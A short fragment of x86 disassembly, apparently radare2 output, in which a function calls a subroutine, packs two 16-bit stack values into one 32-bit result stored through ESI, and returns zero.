lea ecx, [esp + 0x4c]
push eax
mov eax, dword [esp + 0x2c]
push ecx
push edx
push eax
call fcn.004c4280
mov ecx, dword [esp + 0x5c]
mov edx, dword [esp + 0x60]
and ecx, 0xffff
and edx, 0xffff
shl ecx, 0x10
add esp, 0x10
or ecx, edx
mov dword [esi], ecx
xor eax, eax
pop esi
add esp, 0x44
ret